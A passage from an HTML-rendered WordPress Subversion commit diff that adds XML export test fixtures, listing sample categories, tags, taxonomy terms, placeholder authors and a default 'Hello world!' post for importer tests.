+       <wp:tag><wp:term_id>30</wp:term_id><wp:tag_slug>pontonier</wp:tag_slug><wp:tag_name><![CDATA[Pontonier]]></wp:tag_name></wp:tag>
+       <wp:tag><wp:term_id>31</wp:term_id><wp:tag_slug>rooftree</wp:tag_slug><wp:tag_name><![CDATA[Rooftree]]></wp:tag_name></wp:tag>
+       <wp:tag><wp:term_id>32</wp:term_id><wp:tag_slug>saccule</wp:tag_slug><wp:tag_name><![CDATA[Saccule]]></wp:tag_name></wp:tag>
+       <wp:tag><wp:term_id>33</wp:term_id><wp:tag_slug>salpa</wp:tag_slug><wp:tag_name><![CDATA[Salpa]]></wp:tag_name></wp:tag>
+       <wp:tag><wp:term_id>34</wp:term_id><wp:tag_slug>tag-1</wp:tag_slug><wp:tag_name><![CDATA[tag 1]]></wp:tag_name></wp:tag>
+       <wp:tag><wp:term_id>35</wp:term_id><wp:tag_slug>tag-2</wp:tag_slug><wp:tag_name><![CDATA[tag 2]]></wp:tag_name></wp:tag>
+       <wp:tag><wp:term_id>36</wp:term_id><wp:tag_slug>tag-3</wp:tag_slug><wp:tag_name><![CDATA[tag 3]]></wp:tag_name></wp:tag>
+       <wp:tag><wp:term_id>37</wp:term_id><wp:tag_slug>tag-4</wp:tag_slug><wp:tag_name><![CDATA[tag 4]]></wp:tag_name></wp:tag>
+       <wp:tag><wp:term_id>38</wp:term_id><wp:tag_slug>tag-5</wp:tag_slug><wp:tag_name><![CDATA[tag 5]]></wp:tag_name></wp:tag>
+       <wp:tag><wp:term_id>39</wp:term_id><wp:tag_slug>tentage</wp:tag_slug><wp:tag_name><![CDATA[Tentage]]></wp:tag_name></wp:tag>
+       <wp:term><wp:term_id>40</wp:term_id><wp:term_taxonomy>post_tax</wp:term_taxonomy><wp:term_slug>bieup</wp:term_slug><wp:term_parent></wp:term_parent><wp:term_name><![CDATA[bieup]]></wp:term_name></wp:term>
+       <wp:term><wp:term_id>41</wp:term_id><wp:term_taxonomy>post_tax</wp:term_taxonomy><wp:term_slug>blah</wp:term_slug><wp:term_parent></wp:term_parent><wp:term_name><![CDATA[blah]]></wp:term_name></wp:term>
+       <wp:term><wp:term_id>42</wp:term_id><wp:term_taxonomy>post_tax</wp:term_taxonomy><wp:term_slug>digeut</wp:term_slug><wp:term_parent></wp:term_parent><wp:term_name><![CDATA[digeut]]></wp:term_name></wp:term>
+       <wp:term><wp:term_id>43</wp:term_id><wp:term_taxonomy>post_tax</wp:term_taxonomy><wp:term_slug>giyeok</wp:term_slug><wp:term_parent></wp:term_parent><wp:term_name><![CDATA[giyeok]]></wp:term_name></wp:term>
+       <wp:term><wp:term_id>44</wp:term_id><wp:term_taxonomy>post_tax</wp:term_taxonomy><wp:term_slug>halb</wp:term_slug><wp:term_parent></wp:term_parent><wp:term_name><![CDATA[halb]]></wp:term_name></wp:term>
+       <wp:term><wp:term_id>45</wp:term_id><wp:term_taxonomy>post_tax</wp:term_taxonomy><wp:term_slug>mieum</wp:term_slug><wp:term_parent></wp:term_parent><wp:term_name><![CDATA[mieum]]></wp:term_name></wp:term>
+       <wp:term><wp:term_id>46</wp:term_id><wp:term_taxonomy>post_tax</wp:term_taxonomy><wp:term_slug>nieun</wp:term_slug><wp:term_parent></wp:term_parent><wp:term_name><![CDATA[nieun]]></wp:term_name></wp:term>
+       <wp:term><wp:term_id>47</wp:term_id><wp:term_taxonomy>post_tax</wp:term_taxonomy><wp:term_slug>parent-2</wp:term_slug><wp:term_parent></wp:term_parent><wp:term_name><![CDATA[Parent]]></wp:term_name></wp:term>
+       <wp:term><wp:term_id>48</wp:term_id><wp:term_taxonomy>post_tax</wp:term_taxonomy><wp:term_slug>rieul</wp:term_slug><wp:term_parent></wp:term_parent><wp:term_name><![CDATA[rieul]]></wp:term_name></wp:term>
+       <wp:term><wp:term_id>49</wp:term_id><wp:term_taxonomy>post_tax</wp:term_taxonomy><wp:term_slug>siot</wp:term_slug><wp:term_parent></wp:term_parent><wp:term_name><![CDATA[siot]]></wp:term_name></wp:term>
+       <wp:term><wp:term_id>50</wp:term_id><wp:term_taxonomy>post_tax</wp:term_taxonomy><wp:term_slug>tax-1</wp:term_slug><wp:term_parent></wp:term_parent><wp:term_name><![CDATA[TAX 1]]></wp:term_name></wp:term>
+       <wp:term><wp:term_id>51</wp:term_id><wp:term_taxonomy>post_tax</wp:term_taxonomy><wp:term_slug>tax-2</wp:term_slug><wp:term_parent></wp:term_parent><wp:term_name><![CDATA[TAX 2]]></wp:term_name></wp:term>
+       <wp:term><wp:term_id>52</wp:term_id><wp:term_taxonomy>post_tax</wp:term_taxonomy><wp:term_slug>blah-halb</wp:term_slug><wp:term_parent>halb</wp:term_parent><wp:term_name><![CDATA[blah]]></wp:term_name></wp:term>
+       <wp:term><wp:term_id>53</wp:term_id><wp:term_taxonomy>post_tax</wp:term_taxonomy><wp:term_slug>child-parent-2</wp:term_slug><wp:term_parent>parent-2</wp:term_parent><wp:term_name><![CDATA[chilD]]></wp:term_name></wp:term>
+</channel>
+</rss>
</ins></span></pre></div>
<a id="trunktestsdataexportmissingversiontagxml"></a>
<div class="addfile"><h4>Added: trunk/tests/data/export/missing-version-tag.xml (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/data/export/missing-version-tag.xml                          (rev 0)
+++ trunk/tests/data/export/missing-version-tag.xml     2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,90 @@
</span><ins>+<?xml version="1.0" encoding="UTF-8" ?>
+<!-- This is a WordPress eXtended RSS file generated by WordPress as an export of your site. -->
+<!-- It contains information about your site's posts, pages, comments, categories, and other content. -->
+<!-- You may use this file to transfer that content from one site to another. -->
+<!-- NB: This file is not intended to serve as a complete backup of your blog. -->
+
+<!-- To import this information into a WordPress site follow these steps: -->
+<!-- 1. Log in to that site as an administrator. -->
+<!-- 2. Go to Tools: Import in the WordPress admin panel. -->
+<!-- 3. Install the "WordPress" importer from the list. -->
+<!-- 4. Activate & Run Importer. -->
+<!-- 5. Upload this file using the form provided on that page. -->
+<!-- 6. You will first be asked to map the authors in this export file to users -->
+<!--    on the site. For each author, you may choose to map to an -->
+<!--    existing user on the site or to create a new user. -->
+<!-- 7. WordPress will then import each of the posts, pages comments, categories, etc. -->
+<!--    contained in this file into your blog. -->
+
+<!-- generator="WordPress/3.1-alpha" created="2010-10-09 15:12" -->
+<rss version="2.0"
+       xmlns:excerpt="http://wordpress.org/export/1.1/excerpt/"
+       xmlns:content="http://purl.org/rss/1.0/modules/content/"
+       xmlns:wfw="http://wellformedweb.org/CommentAPI/"
+       xmlns:dc="http://purl.org/dc/elements/1.1/"
+       xmlns:wp="http://wordpress.org/export/1.1/"
+>
+<channel>
+       <title>WXR Test Data</title>
+       <link>http://localhost/</link>
+       <description>Blog with sample content for testing</description>
+       <pubDate>Sat, 09 Oct 2010 15:12:29 +0000</pubDate>
+       <language>en</language>
+       <wp:base_site_url>http://localhost/</wp:base_site_url>
+       <wp:base_blog_url>http://localhost/</wp:base_blog_url>
+       <wp:author><wp:author_login>john</wp:author_login><wp:author_email>johndoe@example.org</wp:author_email><wp:author_display_name><![CDATA[John Doe]]></wp:author_display_name><wp:author_first_name><![CDATA[John]]></wp:author_first_name><wp:author_last_name><![CDATA[Doe]]></wp:author_last_name></wp:author>
+       <wp:category><wp:term_id>1</wp:term_id><wp:category_nicename>alpha</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[alpha]]></wp:cat_name></wp:category>
+       <wp:category><wp:term_id>2</wp:term_id><wp:category_nicename>bar</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[Bar]]></wp:cat_name></wp:category>
+       <wp:category><wp:term_id>3</wp:term_id><wp:category_nicename>beta</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[beta]]></wp:cat_name></wp:category>
+       <wp:category><wp:term_id>4</wp:term_id><wp:category_nicename>delta</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[delta]]></wp:cat_name></wp:category>
+       <wp:category><wp:term_id>5</wp:term_id><wp:category_nicename>epsilon</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[epsilon]]></wp:cat_name></wp:category>
+       <wp:category><wp:term_id>6</wp:term_id><wp:category_nicename>eta</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[eta]]></wp:cat_name></wp:category>
+       <wp:category><wp:term_id>7</wp:term_id><wp:category_nicename>foo</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[Foo]]></wp:cat_name></wp:category>
+       <wp:category><wp:term_id>8</wp:term_id><wp:category_nicename>foo-bar</wp:category_nicename><wp:category_parent>bar</wp:category_parent><wp:cat_name><![CDATA[Foo]]></wp:cat_name></wp:category>
+       <wp:category><wp:term_id>9</wp:term_id><wp:category_nicename>gamma</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[gamma]]></wp:cat_name></wp:category>
+       <wp:category><wp:term_id>10</wp:term_id><wp:category_nicename>iota</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[iota]]></wp:cat_name></wp:category>
+       <wp:category><wp:term_id>11</wp:term_id><wp:category_nicename>kappa</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[kappa]]></wp:cat_name></wp:category>
+       <wp:category><wp:term_id>12</wp:term_id><wp:category_nicename>lambda</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[lambda]]></wp:cat_name></wp:category>
+       <wp:category><wp:term_id>13</wp:term_id><wp:category_nicename>level-1</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[Level 1]]></wp:cat_name></wp:category>
+       <wp:category><wp:term_id>14</wp:term_id><wp:category_nicename>level-2</wp:category_nicename><wp:category_parent>level-1</wp:category_parent><wp:cat_name><![CDATA[Level 2]]></wp:cat_name></wp:category>
+       <wp:category><wp:term_id>15</wp:term_id><wp:category_nicename>level-3</wp:category_nicename><wp:category_parent>level-2</wp:category_parent><wp:cat_name><![CDATA[Level 3]]></wp:cat_name></wp:category>
+       <wp:category><wp:term_id>16</wp:term_id><wp:category_nicename>parent</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[pArEnT]]></wp:cat_name></wp:category>
+       <wp:category><wp:term_id>17</wp:term_id><wp:category_nicename>theta</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[theta]]></wp:cat_name></wp:category>
+       <wp:category><wp:term_id>18</wp:term_id><wp:category_nicename>uncategorized</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[Uncategorized]]></wp:cat_name></wp:category>
+       <wp:category><wp:term_id>19</wp:term_id><wp:category_nicename>zeta</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[zeta]]></wp:cat_name></wp:category>
+       <wp:category><wp:term_id>20</wp:term_id><wp:category_nicename>also-level-3</wp:category_nicename><wp:category_parent>level-2</wp:category_parent><wp:cat_name><![CDATA[Also Level 3]]></wp:cat_name></wp:category>
+       <wp:category><wp:term_id>21</wp:term_id><wp:category_nicename>child</wp:category_nicename><wp:category_parent>parent</wp:category_parent><wp:cat_name><![CDATA[CHILD]]></wp:cat_name></wp:category>
+       <wp:tag><wp:term_id>22</wp:term_id><wp:tag_slug>clippable</wp:tag_slug><wp:tag_name><![CDATA[Clippable]]></wp:tag_name></wp:tag>
+       <wp:tag><wp:term_id>23</wp:term_id><wp:tag_slug>deuterogamy</wp:tag_slug><wp:tag_name><![CDATA[Deuterogamy]]></wp:tag_name></wp:tag>
+       <wp:tag><wp:term_id>24</wp:term_id><wp:tag_slug>entablement</wp:tag_slug><wp:tag_name><![CDATA[Entablement]]></wp:tag_name></wp:tag>
+       <wp:tag><wp:term_id>25</wp:term_id><wp:tag_slug>intermembral</wp:tag_slug><wp:tag_name><![CDATA[Intermembral]]></wp:tag_name></wp:tag>
+       <wp:tag><wp:term_id>26</wp:term_id><wp:tag_slug>masticatory</wp:tag_slug><wp:tag_name><![CDATA[Masticatory]]></wp:tag_name></wp:tag>
+       <wp:tag><wp:term_id>27</wp:term_id><wp:tag_slug>obligato</wp:tag_slug><wp:tag_name><![CDATA[Obligato]]></wp:tag_name></wp:tag>
+       <wp:tag><wp:term_id>28</wp:term_id><wp:tag_slug>occultation</wp:tag_slug><wp:tag_name><![CDATA[Occultation]]></wp:tag_name></wp:tag>
+       <wp:tag><wp:term_id>29</wp:term_id><wp:tag_slug>onion</wp:tag_slug><wp:tag_name><![CDATA[Onion]]></wp:tag_name></wp:tag>
+       <wp:tag><wp:term_id>30</wp:term_id><wp:tag_slug>pontonier</wp:tag_slug><wp:tag_name><![CDATA[Pontonier]]></wp:tag_name></wp:tag>
+       <wp:tag><wp:term_id>31</wp:term_id><wp:tag_slug>rooftree</wp:tag_slug><wp:tag_name><![CDATA[Rooftree]]></wp:tag_name></wp:tag>
+       <wp:tag><wp:term_id>32</wp:term_id><wp:tag_slug>saccule</wp:tag_slug><wp:tag_name><![CDATA[Saccule]]></wp:tag_name></wp:tag>
+       <wp:tag><wp:term_id>33</wp:term_id><wp:tag_slug>salpa</wp:tag_slug><wp:tag_name><![CDATA[Salpa]]></wp:tag_name></wp:tag>
+       <wp:tag><wp:term_id>34</wp:term_id><wp:tag_slug>tag-1</wp:tag_slug><wp:tag_name><![CDATA[tag 1]]></wp:tag_name></wp:tag>
+       <wp:tag><wp:term_id>35</wp:term_id><wp:tag_slug>tag-2</wp:tag_slug><wp:tag_name><![CDATA[tag 2]]></wp:tag_name></wp:tag>
+       <wp:tag><wp:term_id>36</wp:term_id><wp:tag_slug>tag-3</wp:tag_slug><wp:tag_name><![CDATA[tag 3]]></wp:tag_name></wp:tag>
+       <wp:tag><wp:term_id>37</wp:term_id><wp:tag_slug>tag-4</wp:tag_slug><wp:tag_name><![CDATA[tag 4]]></wp:tag_name></wp:tag>
+       <wp:tag><wp:term_id>38</wp:term_id><wp:tag_slug>tag-5</wp:tag_slug><wp:tag_name><![CDATA[tag 5]]></wp:tag_name></wp:tag>
+       <wp:tag><wp:term_id>39</wp:term_id><wp:tag_slug>tentage</wp:tag_slug><wp:tag_name><![CDATA[Tentage]]></wp:tag_name></wp:tag>
+       <wp:term><wp:term_id>40</wp:term_id><wp:term_taxonomy>post_tax</wp:term_taxonomy><wp:term_slug>bieup</wp:term_slug><wp:term_parent></wp:term_parent><wp:term_name><![CDATA[bieup]]></wp:term_name></wp:term>
+       <wp:term><wp:term_id>41</wp:term_id><wp:term_taxonomy>post_tax</wp:term_taxonomy><wp:term_slug>blah</wp:term_slug><wp:term_parent></wp:term_parent><wp:term_name><![CDATA[blah]]></wp:term_name></wp:term>
+       <wp:term><wp:term_id>42</wp:term_id><wp:term_taxonomy>post_tax</wp:term_taxonomy><wp:term_slug>digeut</wp:term_slug><wp:term_parent></wp:term_parent><wp:term_name><![CDATA[digeut]]></wp:term_name></wp:term>
+       <wp:term><wp:term_id>43</wp:term_id><wp:term_taxonomy>post_tax</wp:term_taxonomy><wp:term_slug>giyeok</wp:term_slug><wp:term_parent></wp:term_parent><wp:term_name><![CDATA[giyeok]]></wp:term_name></wp:term>
+       <wp:term><wp:term_id>44</wp:term_id><wp:term_taxonomy>post_tax</wp:term_taxonomy><wp:term_slug>halb</wp:term_slug><wp:term_parent></wp:term_parent><wp:term_name><![CDATA[halb]]></wp:term_name></wp:term>
+       <wp:term><wp:term_id>45</wp:term_id><wp:term_taxonomy>post_tax</wp:term_taxonomy><wp:term_slug>mieum</wp:term_slug><wp:term_parent></wp:term_parent><wp:term_name><![CDATA[mieum]]></wp:term_name></wp:term>
+       <wp:term><wp:term_id>46</wp:term_id><wp:term_taxonomy>post_tax</wp:term_taxonomy><wp:term_slug>nieun</wp:term_slug><wp:term_parent></wp:term_parent><wp:term_name><![CDATA[nieun]]></wp:term_name></wp:term>
+       <wp:term><wp:term_id>47</wp:term_id><wp:term_taxonomy>post_tax</wp:term_taxonomy><wp:term_slug>parent-2</wp:term_slug><wp:term_parent></wp:term_parent><wp:term_name><![CDATA[Parent]]></wp:term_name></wp:term>
+       <wp:term><wp:term_id>48</wp:term_id><wp:term_taxonomy>post_tax</wp:term_taxonomy><wp:term_slug>rieul</wp:term_slug><wp:term_parent></wp:term_parent><wp:term_name><![CDATA[rieul]]></wp:term_name></wp:term>
+       <wp:term><wp:term_id>49</wp:term_id><wp:term_taxonomy>post_tax</wp:term_taxonomy><wp:term_slug>siot</wp:term_slug><wp:term_parent></wp:term_parent><wp:term_name><![CDATA[siot]]></wp:term_name></wp:term>
+       <wp:term><wp:term_id>50</wp:term_id><wp:term_taxonomy>post_tax</wp:term_taxonomy><wp:term_slug>tax-1</wp:term_slug><wp:term_parent></wp:term_parent><wp:term_name><![CDATA[TAX 1]]></wp:term_name></wp:term>
+       <wp:term><wp:term_id>51</wp:term_id><wp:term_taxonomy>post_tax</wp:term_taxonomy><wp:term_slug>tax-2</wp:term_slug><wp:term_parent></wp:term_parent><wp:term_name><![CDATA[TAX 2]]></wp:term_name></wp:term>
+       <wp:term><wp:term_id>52</wp:term_id><wp:term_taxonomy>post_tax</wp:term_taxonomy><wp:term_slug>blah-halb</wp:term_slug><wp:term_parent>halb</wp:term_parent><wp:term_name><![CDATA[blah]]></wp:term_name></wp:term>
+       <wp:term><wp:term_id>53</wp:term_id><wp:term_taxonomy>post_tax</wp:term_taxonomy><wp:term_slug>child-parent-2</wp:term_slug><wp:term_parent>parent-2</wp:term_parent><wp:term_name><![CDATA[chilD]]></wp:term_name></wp:term>
+</channel>
+</rss>
</ins></span></pre></div>
<a id="trunktestsdataexportsmallexportxml"></a>
<div class="addfile"><h4>Added: trunk/tests/data/export/small-export.xml (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/data/export/small-export.xml                         (rev 0)
+++ trunk/tests/data/export/small-export.xml    2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,447 @@
</span><ins>+<?xml version="1.0" encoding="UTF-8" ?>
+<!-- This is a WordPress eXtended RSS file generated by WordPress as an export of your site. -->
+<!-- It contains information about your site's posts, pages, comments, categories, and other content. -->
+<!-- You may use this file to transfer that content from one site to another. -->
+<!-- This file is not intended to serve as a complete backup of your site. -->
+
+<!-- To import this information into a WordPress site follow these steps: -->
+<!-- 1. Log in to that site as an administrator. -->
+<!-- 2. Go to Tools: Import in the WordPress admin panel. -->
+<!-- 3. Install the "WordPress" importer from the list. -->
+<!-- 4. Activate & Run Importer. -->
+<!-- 5. Upload this file using the form provided on that page. -->
+<!-- 6. You will first be asked to map the authors in this export file to users -->
+<!--    on the site. For each author, you may choose to map to an -->
+<!--    existing user on the site or to create a new user. -->
+<!-- 7. WordPress will then import each of the posts, pages, comments, categories, etc. -->
+<!--    contained in this file into your site. -->
+
+<!-- generator="WordPress/3.1-RC2-17315" created="2011-01-18 08:06" -->
+<rss version="2.0"
+       xmlns:excerpt="http://wordpress.org/export/1.1/excerpt/"
+       xmlns:content="http://purl.org/rss/1.0/modules/content/"
+       xmlns:wfw="http://wellformedweb.org/CommentAPI/"
+       xmlns:dc="http://purl.org/dc/elements/1.1/"
+       xmlns:wp="http://wordpress.org/export/1.1/"
+>
+
+<channel>
+       <title>trunk</title>
+       <link>http://localhost/</link>
+       <description>Just another WordPress site</description>
+       <pubDate>Tue, 18 Jan 2011 08:06:21 +0000</pubDate>
+       <language>en</language>
+       <wp:wxr_version>1.1</wp:wxr_version>
+       <wp:base_site_url>http://localhost/</wp:base_site_url>
+       <wp:base_blog_url>http://localhost/</wp:base_blog_url>
+
+       <wp:author><wp:author_id>1</wp:author_id><wp:author_login>admin</wp:author_login><wp:author_email>local@host.null</wp:author_email><wp:author_display_name><![CDATA[admin]]></wp:author_display_name><wp:author_first_name><![CDATA[]]></wp:author_first_name><wp:author_last_name><![CDATA[]]></wp:author_last_name></wp:author>
+       <wp:author><wp:author_id>2</wp:author_id><wp:author_login>editor</wp:author_login><wp:author_email>editor@example.org</wp:author_email><wp:author_display_name><![CDATA[editor]]></wp:author_display_name><wp:author_first_name><![CDATA[FirstName]]></wp:author_first_name><wp:author_last_name><![CDATA[LastName]]></wp:author_last_name></wp:author>
+       <wp:author><wp:author_id>3</wp:author_id><wp:author_login>author</wp:author_login><wp:author_email>author@example.org</wp:author_email><wp:author_display_name><![CDATA[author]]></wp:author_display_name><wp:author_first_name><![CDATA[]]></wp:author_first_name><wp:author_last_name><![CDATA[]]></wp:author_last_name></wp:author>
+
+       <wp:category><wp:term_id>8</wp:term_id><wp:category_nicename>alpha</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[alpha]]></wp:cat_name></wp:category>
+       <wp:category><wp:term_id>4</wp:term_id><wp:category_nicename>bar</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[Bar]]></wp:cat_name></wp:category>
+       <wp:category><wp:term_id>9</wp:term_id><wp:category_nicename>beta</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[BETA]]></wp:cat_name></wp:category>
+       <wp:category><wp:term_id>29</wp:term_id><wp:category_nicename>chi</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[CHI]]></wp:cat_name></wp:category>
+       <wp:category><wp:term_id>11</wp:term_id><wp:category_nicename>delta</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[dElta]]></wp:cat_name></wp:category>
+       <wp:category><wp:term_id>12</wp:term_id><wp:category_nicename>epsilon</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[epsilon]]></wp:cat_name></wp:category>
+       <wp:category><wp:term_id>14</wp:term_id><wp:category_nicename>eta</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[eta]]></wp:cat_name></wp:category>
+       <wp:category><wp:term_id>3</wp:term_id><wp:category_nicename>foo</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[Foo]]></wp:cat_name><wp:category_description><![CDATA[The top-level foo category]]></wp:category_description></wp:category>
+       <wp:category><wp:term_id>5</wp:term_id><wp:category_nicename>foo-bar</wp:category_nicename><wp:category_parent>bar</wp:category_parent><wp:cat_name><![CDATA[Foo]]></wp:cat_name><wp:category_description><![CDATA[The child foo category]]></wp:category_description></wp:category>
+       <wp:category><wp:term_id>10</wp:term_id><wp:category_nicename>gamma</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[gaMMA]]></wp:cat_name></wp:category>
+       <wp:category><wp:term_id>16</wp:term_id><wp:category_nicename>iota</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[IOTA]]></wp:cat_name></wp:category>
+       <wp:category><wp:term_id>17</wp:term_id><wp:category_nicename>kappa</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[Kappa]]></wp:cat_name></wp:category>
+       <wp:category><wp:term_id>18</wp:term_id><wp:category_nicename>lambda</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[lambda]]></wp:cat_name></wp:category>
+       <wp:category><wp:term_id>19</wp:term_id><wp:category_nicename>mu</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[MU]]></wp:cat_name></wp:category>
+       <wp:category><wp:term_id>20</wp:term_id><wp:category_nicename>nu</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[Nu]]></wp:cat_name></wp:category>
+       <wp:category><wp:term_id>31</wp:term_id><wp:category_nicename>omega</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[Omega]]></wp:cat_name></wp:category>
+       <wp:category><wp:term_id>22</wp:term_id><wp:category_nicename>omicron</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[Omicron]]></wp:cat_name></wp:category>
+       <wp:category><wp:term_id>28</wp:term_id><wp:category_nicename>phi</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[Phi]]></wp:cat_name></wp:category>
+       <wp:category><wp:term_id>23</wp:term_id><wp:category_nicename>pi</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[Pi]]></wp:cat_name></wp:category>
+       <wp:category><wp:term_id>30</wp:term_id><wp:category_nicename>psi</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[Psi]]></wp:cat_name></wp:category>
+       <wp:category><wp:term_id>24</wp:term_id><wp:category_nicename>rho</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[Rho]]></wp:cat_name></wp:category>
+       <wp:category><wp:term_id>25</wp:term_id><wp:category_nicename>sigma</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[Sigma]]></wp:cat_name></wp:category>
+       <wp:category><wp:term_id>26</wp:term_id><wp:category_nicename>tau</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[tAu]]></wp:cat_name></wp:category>
+       <wp:category><wp:term_id>15</wp:term_id><wp:category_nicename>theta</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[THeta]]></wp:cat_name></wp:category>
+       <wp:category><wp:term_id>1</wp:term_id><wp:category_nicename>uncategorized</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[Uncategorized]]></wp:cat_name></wp:category>
+       <wp:category><wp:term_id>32</wp:term_id><wp:category_nicename>unused-category</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[Unused category]]></wp:cat_name><wp:category_description><![CDATA[Category will not be associated with any posts.]]></wp:category_description></wp:category>
+       <wp:category><wp:term_id>27</wp:term_id><wp:category_nicename>upsilon</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[uPsIlOn]]></wp:cat_name></wp:category>
+       <wp:category><wp:term_id>21</wp:term_id><wp:category_nicename>xi</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[Xi]]></wp:cat_name></wp:category>
+       <wp:category><wp:term_id>13</wp:term_id><wp:category_nicename>zeta</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[zeta]]></wp:cat_name></wp:category>
+       <wp:category><wp:term_id>7</wp:term_id><wp:category_nicename>eternity</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[远征手记]]></wp:cat_name><wp:category_description><![CDATA[No more duplicate categories, #13364]]></wp:category_description></wp:category>
+       <wp:tag><wp:term_id>33</wp:term_id><wp:tag_slug>tag1</wp:tag_slug><wp:tag_name><![CDATA[Tag1]]></wp:tag_name></wp:tag>
+       <wp:tag><wp:term_id>34</wp:term_id><wp:tag_slug>tag2</wp:tag_slug><wp:tag_name><![CDATA[Tag2]]></wp:tag_name></wp:tag>
+       <wp:tag><wp:term_id>35</wp:term_id><wp:tag_slug>tag3</wp:tag_slug><wp:tag_name><![CDATA[Tag3]]></wp:tag_name></wp:tag>
+
+       <generator>http://wordpress.org/?v=3.1-RC2-17315</generator>
+
+       <item>
+               <title>Hello world!</title>
+               <link>http://localhost/?p=1</link>
+               <pubDate>Tue, 18 Jan 2011 07:40:14 +0000</pubDate>
+               <dc:creator>author</dc:creator>
+               <guid isPermaLink="false">http://localhost/?p=1</guid>
+               <description></description>
+               <content:encoded><![CDATA[Welcome to WordPress. This is your first post. Edit or delete it, then start blogging!]]></content:encoded>
+               <excerpt:encoded><![CDATA[]]></excerpt:encoded>
+               <wp:post_id>1</wp:post_id>
+               <wp:post_date>2011-01-18 07:40:14</wp:post_date>
+               <wp:post_date_gmt>2011-01-18 07:40:14</wp:post_date_gmt>
+               <wp:comment_status>open</wp:comment_status>
+               <wp:ping_status>open</wp:ping_status>
+               <wp:post_name>hello-world</wp:post_name>
+               <wp:status>publish</wp:status>
+               <wp:post_parent>0</wp:post_parent>
+               <wp:menu_order>0</wp:menu_order>
+               <wp:post_type>post</wp:post_type>
+               <wp:post_password></wp:post_password>
+               <wp:is_sticky>0</wp:is_sticky>
+               <category domain="category" nicename="uncategorized"><![CDATA[Uncategorized]]></category>
+               <wp:postmeta>
+                       <wp:meta_key>Post by</wp:meta_key>
+                       <wp:meta_value><![CDATA[author]]></wp:meta_value>
+               </wp:postmeta>
+               <wp:postmeta>
+                       <wp:meta_key>_edit_last</wp:meta_key>
+                       <wp:meta_value><![CDATA[1]]></wp:meta_value>
+               </wp:postmeta>
+               <wp:comment>
+                       <wp:comment_id>1</wp:comment_id>
+                       <wp:comment_author><![CDATA[Mr WordPress]]></wp:comment_author>
+                       <wp:comment_author_email></wp:comment_author_email>
+                       <wp:comment_author_url>http://wordpress.org/</wp:comment_author_url>
+                       <wp:comment_author_IP></wp:comment_author_IP>
+                       <wp:comment_date>2011-01-18 07:40:14</wp:comment_date>
+                       <wp:comment_date_gmt>2011-01-18 07:40:14</wp:comment_date_gmt>
+                       <wp:comment_content><![CDATA[Hi, this is a comment.<br />To delete a comment, just log in and view the post&#039;s comments. There you will have the option to edit or delete them.]]></wp:comment_content>
+                       <wp:comment_approved>1</wp:comment_approved>
+                       <wp:comment_type></wp:comment_type>
+                       <wp:comment_parent>0</wp:comment_parent>
+                       <wp:comment_user_id>0</wp:comment_user_id>
+               </wp:comment>
+       </item>
+       <item>
+               <title>Sample Page</title>
+               <link>http://localhost/?page_id=2</link>
+               <pubDate>Tue, 18 Jan 2011 07:40:14 +0000</pubDate>
+               <dc:creator>admin</dc:creator>
+               <guid isPermaLink="false">http://localhost/?page_id=2</guid>
+               <description></description>
